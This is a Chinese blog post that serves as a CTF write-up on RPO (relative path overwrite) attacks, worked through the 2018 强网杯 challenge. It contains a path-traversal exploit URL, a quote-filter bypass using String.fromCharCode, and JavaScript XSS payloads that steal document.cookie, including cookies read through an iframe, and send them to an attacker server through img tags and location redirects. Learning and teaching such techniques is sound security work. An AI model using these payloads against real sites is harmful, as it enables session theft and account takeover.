美文网首页
RPO攻击学习

RPO攻击学习

作者: w_不安分 | 来源:发表于2018-03-30 09:15 被阅读0次

最近在ctf题上看到了关于RPO攻击的利用,但是在网上找了好几篇博客都是看的似懂非懂的,不知道如何去利用,但是还是决定写一下,以便以后在遇到时还有印象

博客参考:
新型Web攻击技术:RPO攻击初探
RPO攻击-p00mj
RPO攻击-iamstudy

关于RPO攻击看了这几个博客大概也能理解,RPO是使用由浏览器解析url路径与服务器解析url路径差别导致的,当页面中调用的静态文件是以相对路径调用的时候,我们可以利用浏览器错误的解析页面的路径从而去错误的引导静态文件(CSS)文件加载
在上面三篇博客中都有对POC形成有详细的讲解。

主要是关于RPO攻击的利用部分
新型Web攻击技术:RPO攻击初探中对于RPO攻击是借助google的例子写的,简单的谈一下自己的理解
发现RPO后利用修改了网页的路径,使页面css加载路径成为了可以加载任意的google域名下的任意样式表,然后在样式表中找到一个可以使用参数导入背景的网页,向里面插入攻击参数,传入了一个简单的css样式。使用被攻击页面url进行引用,页面的css样式改变攻击代码在能成功执行。

2018强网杯上的RPO攻击的题
writeup
强网杯2018 Web writeup
强网杯-writeup
在主页的源代码中有一个js的调用前没有/出现,产生了RPO漏洞

js
正常访问页面时js文件的请求网址是http://39.107.33.96/static/js.jquery.min.js
正常访问
另外在网站中我们能够能看到自己的文章页面,页面的地址为http://39.107.33.96:20000/index.php/view/article/1566,我们能够发现当我们的文章不添加标题的时候,文章内容就会以纯文本的方式显示

这个文章的内容使我们可以控制的,写入alert(/xss/),然后在主页使用%2f进行url改造(%2f是/的url编码,服务器能解析,但是浏览器不能解析),引用此篇文章
http://39.107.33.96:20000/index.php/view/article/1566/..%2f..%2f..%2f..%2findex.php发现弹窗执行文章中的js内容
执行文章中的js代码
查看当前js的引用路径http://39.107.33.96:20000/index.php/view/article/1566/static/js/jquery.min.js
我们正常访问这个路径时发现内容和我们访问http://39.107.33.96:20000/index.php/view/article/1566的内容是一样的
这就说明,网页按照这个路径把1566的内容当做了js文件进行了请求,并且还当做js代码执行了,而后面的js的路径被当做了参数忽略了。
构建攻击payload
b=document.cookie;
a='<img src=http://ip/'+btoa(b)+'>';  
document.write(a);

将ip更换为自己的服务器ip,在服务器上使用nc监控端口

因为攻击代码的引用时会过滤了单引号和双引号,所以要对payload进行实体化编码,用String.fromCharCode()函数引用

print map(ord ,"payload") //将payload放入进行实体化编码
eval(String.fromCharCode())  //将实体化编码的payload放入

将组合成的payload写成文章内容,构造文章的url,将url传入给如的漏洞url提交页面,它会访问我们的url内容,并且请求我们引用的服务器,返回cookie

http://39.107.33.96:20000/index.php/view/article/2460/..%2f..%2f..%2f..%2findex.php
提交管理员 HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
获得cookie后在解码得到HINT=Try to get the cookie of path "/QWB_fl4g/QWB/",flag就在新的路径中,继续使用大佬的payload
var i=document.createElement('iframe');
i.src='/QWB_fl4g/QWB/';
i.id='a';document.body.appendChild(i);
i.onload = function (){
    var c=document.getElementById('a').contentWindow.document.cookie;
    location.href='http://xxxx?'+c;
}

如果请求一直没有回显尝试将,payload中的双引全部换成单引号在进行实体化编码。我也知道问什么会这样,反正卡在了这里

flag

相关文章

  • RPO攻击学习

    最近在ctf题上看到了关于RPO攻击的利用,但是在网上找了好几篇博客都是看的似懂非懂的,不知道如何去利用,但是还是...

  • RPO攻击

    最近在强网杯上遇到RPO的题,懵逼好久。 0x00概述 浏览器解析页面路径有误而导致css文件加载路径错误,从而引...

  • rpo学习

    原理:相对路径覆盖Ex.简单引用其他目录下的js1.php 目标js: payload: 正常情况下: 查看源代码...

  • RPO攻击导致的XSS

    以2018强网杯share your mind为例 RPO攻击相关的文章http://blog.nsfocus.n...

  • RPO相对路径覆盖攻击

    强网杯Show your mind学习到了一个新的知识点,复现过程很有意思,总结一篇文章 0x1定义 RPO(Re...

  • RPO总结

    关于RPO渠道的选择,算是招聘的一项基本功。纵观这一年来和RPO渠道的对接,写一些总结,便于不断完善和提升。 一、...

  • 招聘岗位:RPO项目经理

    招聘岗位:RPO项目经理 工作地宁波或杭州 有意向具体私聊 联系人:丫头Clover 重点职责: 1、制定RPO委...

  • 控件

    一、筛选 B端产品如HRO(Human Resources Outsourcing,人力资源外包)、RPO(Rec...

  • 34c3ctf-urlstorage复现

    拿34c3ctf的一道题学习一下rpo漏洞和django的配置 测试环境 Github上的一个CTF题目的源码,利...

  • 【产品常识】运维小知识

    一、RTO及RPO区别 RTO(Recovery Time Objective,复原时间目标)是企业可容许服务中断...

网友评论

      本文标题:RPO攻击学习

      本文链接:https://www.haomeiwen.com/subject/maujcftx.html